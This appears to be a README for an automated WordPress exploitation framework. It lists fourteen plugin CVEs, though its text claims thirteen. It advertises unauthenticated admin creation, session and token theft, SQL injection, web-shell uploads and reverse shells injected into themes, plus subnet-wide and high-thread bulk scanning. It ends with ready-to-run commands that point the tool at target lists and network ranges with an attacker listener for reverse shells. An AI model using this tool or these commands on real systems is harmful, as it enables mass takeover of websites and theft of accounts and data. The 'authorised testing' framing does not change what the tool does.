AiGPT-WordPress-Exploitation-Framework

AiGPT — Automated WordPress Exploitation Framework

AiGPT is a multi‑vector exploitation tool that automates the discovery and compromise of vulnerable WordPress sites. It fingerprints installed plugins, intelligently selects the best exploit, and delivers a reverse shell — often without needing any prior authentication.

Thirteen unauthenticated CVEs are chained into a single, high‑performance framework designed for authorised penetration testing and security research.

---

🔥 Features

• Multi‑vector engine — 13 distinct exploit paths in one tool
• Zero‑auth admin creation — creates a WordPress administrator on 7 different vulnerable plugins
• Token / session hijacking — steals API tokens or hijacks sessions to gain admin access
• Direct SQL execution — inserts an admin user via raw SQL injection
• Direct file upload — bypasses the entire login chain and drops a web shell instantly
• Smart plugin fingerprinting — parallel probe of 12 plugins to choose the optimal attack
• Priority‑based vector selection — confirmed vulnerable plugins are attacked first
• Universal theme‑editor shell — after admin login, injects a reverse shell into the active theme
• CIDR subnet scanning — finds WordPress installations across entire network ranges
• Multi‑threaded — configurable worker count with adaptive delays
• Clean logging — console + file output with timestamps
• Graceful fallback — non‑WordPress targets are silently skipped

---

📦 Exploited Vulnerabilities (CVEs)

CVE	Plugin	Type	CVSS
CVE‑2025‑3102	SureTriggers ≤1.0.78	Auth bypass → admin creation	9.8
CVE‑2025‑8489	King Addons 24.12.92‑51.1.14	AJAX role override	9.8
CVE‑2025‑4334	Simple User Registration ≤6.3	Registration role escalation	9.8
CVE‑2025‑6934	Opal Estate Pro ≤1.7.5	Unauthenticated admin creation	9.8
CVE‑2025‑8572	Truelysell Core ≤1.8.7	user_role parameter abuse	9.8
CVE‑2025‑68860	Mobile Builder ≤1.4.2	JWT auth bypass	9.8
CVE‑2025‑13618	Mentoring ≤1.2.8	Role restriction bypass	9.8
CVE‑2025‑11749	AI Engine ≤3.1.3	Token theft → admin	9.8
CVE‑2025‑34077	Pie Register ≤3.7.1.4	Session hijack	9.8
CVE‑2025‑13342	Frontend Admin ≤3.28.20	Arbitrary options → admin	9.8
CVE‑2025‑12061	Tax Service HDM <1.2.1	Arbitrary SQL execution	8.6
CVE‑2025‑6440	WooCommerce Dynamic Pricing	File upload → RCE	9.8
CVE‑2026‑0740	Ninja Forms File Uploads ≤3.3.26	File upload → RCE	9.8
CVE‑2026‑4882	User Reg Advanced Fields ≤1.6.20	File upload → RCE	9.8

---

🚀 Quick Start

Prerequisites

• Python 3.8+
• pip install requests
• (Optional) pip install pyjwt for the Mobile Builder vector

Basic Usage

Here are one‑line commands for common scenarios:

Single target

```bash
python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets target.txt

Bulk from file (fast)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets urls.txt --threads 20 --delay 0.3

Subnet scan

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --subnet 192.168.0.0/24 --threads 15

Quiet output (cron/log)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 8080 --targets urls.txt --no-progress > /tmp/scan.log 2>&1

Aggressive bulk (high speed)

python3 aigptWEF.py --lhost 10.0.0.1 --lport 4444 --targets huge.txt --threads 50 --delay 0.1